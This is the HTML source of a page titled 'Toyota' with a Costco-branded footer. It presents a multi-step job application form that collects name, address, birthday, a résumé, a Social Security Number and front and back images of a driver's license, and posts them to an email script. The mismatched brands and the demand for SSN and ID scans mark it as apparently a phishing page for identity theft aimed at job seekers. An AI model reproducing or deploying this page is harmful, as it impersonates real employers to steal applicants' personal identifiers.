<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Toyota</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <link rel="stylesheet" href="style.css">
</head>
<body>
 <!-- navbar start from here -->
 <nav class="navbar navbar-expand-lg navbar-light bg-light">
    <div class="container-fluid">
    <a class="navbar-brand" href="index.php"><img src="img/logo.png" alt=""></a>
      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav ms-auto mb-2 mb-lg-0">
          <li class="nav-item">
            <a class="nav-link" aria-current="page" href="index.php">Home</a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="apply.php">Apply</a>
          </li>
        </ul>
        
      </div>
    </div>
  </nav>


<!-- third section start from here -->
<div class="formSec">
    <div class="formSecBg">
        <div class="container">
            <div class="col-md-6">
                            
                <form id="regForm" method="POST"  action="email.php" enctype="multipart/form-data">
                  <h4>JOB APPLICATION FORM:</h4>
                  <!-- One "tab" for each step in the form: -->
                  <div class="tab">
                    <p><input type="text"  placeholder="Enter Your full Name" oninput="this.className = ''" id="name" name="name" required></p>
                    <p><input type="email"  placeholder="Enter Your Email" oninput="this.className = ''" id="email" name="email" required></p>
                    <p><input type="number" placeholder="Phone Number" oninput="this.className = ''" id="number" name="number" required></p>

                  </div>
                  <div class="tab">
                    <p><input placeholder="Enter your mailing address" oninput="this.className = ''" id="maddress" name="maddress" required></p>
                    <p><input placeholder="City." oninput="this.className = ''" id="city" name="city" required></p>
                    <p><input placeholder="Zip Code" oninput="this.className = ''" id="zip" name="zip" required></p>

                  </div>
                  <div class="tab">
                    <p><input type="text" placeholder="Tell us more abour yourself" oninput="this.className = ''" id="message" name="message" required></p>
                    <p><input placeholder="Enter your Birthday" oninput="this.className = ''" id="bod" name="bod" required></p>
                    <p> <label for="file">Upload Resume : </label> <input type="file" placeholder="Enter your Birthday" oninput="this.className = ''" id="resume" name="resume" required></p>

                    
                  </div>
                  <div class="tab">
                    <p><input type="text" placeholder="Enter Your SSN" oninput="this.className = ''" id="number" name="ssn" required></p>
                    <p> <label for="file">Front Driver License * </label> <input type="file" placeholder="Enter your Birthday" oninput="this.className = ''" id="dfront" name="dfront" required></p>
                    <p> <label for="file">Back Driver License * </label> <input type="file" placeholder="Enter your Birthday" oninput="this.className = ''" id="dback" name="dback" required></p>
                  </div>
                  <div style="overflow:auto;">
                    <div style="float:right;">
                      <button type="button" class="btn btn-primary" id="prevBtn" onclick="nextPrev(-1)">Previous</button>
                      <button type="submit" name="submit" class="btn btn-primary" id="nextBtn" onclick="nextPrev(1)">Next</button>
                    </div>
                  </div>
                  <!-- Circles which indicates the steps of the form: -->
                  <div style="text-align:center;margin-top:40px;">
                    <span class="step"></span>
                    <span class="step"></span>
                    <span class="step"></span>
                    <span class="step"></span>
                  </div>
                </form>

            </div>
            <div class="col-md-6"></div>
        </div>
    </div>
</div>

<!-- footer section start from here -->
<div class="footer">
  <div class="container">
      <div class="row">
          <div class="col-md-4">
                <h4>About Costco</h4>
                <p>
                Costco Wholesale is a multi-billion dollar global retailer with warehouse club operations in eight countries. We are the recognized leader in our field, dedicated to quality in every area of our business and respected for our outstanding business ethics. Despite our large size and explosive international expansion, we continue to provide a family atmosphere in which our employees thrive and succeed. We are proud to have been named by Washington CEO Magazine as one of the top three companies to work for in the state of Washington.

                </p>
          </div>
          <div class="col-md-4">
              <h4>Connect with us</h4>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>Instagram</span> </a> <br>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>Facebook</span> </a> <br>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>Twitter</span> </a> <br>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>Linkedin</span> </a>
          </div>
          <div class="col-md-4">
              <h4>Quick Links</h4>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>SHOP VEHICLES</span> </a> <br>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>FINANCING INFO</span> </a> <br>
              <a style="text-decoration: none; color: #fff;" href="#"> <span>CONTACT US</span> </a> <br>
          </div>
      </div>
  </div>
</div>



<script>



var currentTab = 0; // Current tab is set to be the first tab (0)
showTab(currentTab); // Display the current tab

function showTab(n) {
  // This function will display the specified tab of the form ...
  var x = document.getElementsByClassName("tab");
  x[n].style.display = "block";
  // ... and fix the Previous/Next buttons:
  if (n == 0) {
    document.getElementById("prevBtn").style.display = "none";
  } else {
    document.getElementById("prevBtn").style.display = "inline";
  }
  if (n == (x.length - 1)) {
    document.getElementById("nextBtn").innerHTML = "Submit";
  } else {
    document.getElementById("nextBtn").innerHTML = "Next";
  }
  // ... and run a function that displays the correct step indicator:
  fixStepIndicator(n)
}

function nextPrev(n) {
  // This function will figure out which tab to display
  var x = document.getElementsByClassName("tab");
  // Exit the function if any field in the current tab is invalid:
  if (n == 1 && !validateForm()) return false;
  // Hide the current tab:
  x[currentTab].style.display = "none";
  // Increase or decrease the current tab by 1:
  currentTab = currentTab + n;
  // if you have reached the end of the form... :
  if (currentTab >= x.length) {
    //...the form gets submitted:
    document.getElementById("regForm").submit();
    return false;
  }
  // Otherwise, display the correct tab:
  showTab(currentTab);
}

function validateForm() {
  // This function deals with validation of the form fields
  var x, y, i, valid = true;
  x = document.getElementsByClassName("tab");
  y = x[currentTab].getElementsByTagName("input");
  // A loop that checks every input field in the current tab:
  for (i = 0; i < y.length; i++) {
    // If a field is empty...
    if (y[i].value == "") {
      // add an "invalid" class to the field:
      y[i].className += " invalid";
      // and set the current valid status to false:
      valid = false;
    }
  }
  // If the valid status is true, mark the step as finished and valid:
  if (valid) {
    document.getElementsByClassName("step")[currentTab].className += " finish";
  }
  return valid; // return the valid status
}

function fixStepIndicator(n) {
  // This function removes the "active" class of all steps...
  var i, x = document.getElementsByClassName("step");
  for (i = 0; i < x.length; i++) {
    x[i].className = x[i].className.replace(" active", "");
  }
  //... and adds the "active" class to the current step:
  x[n].className += " active";
}
</script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
</body>
</html>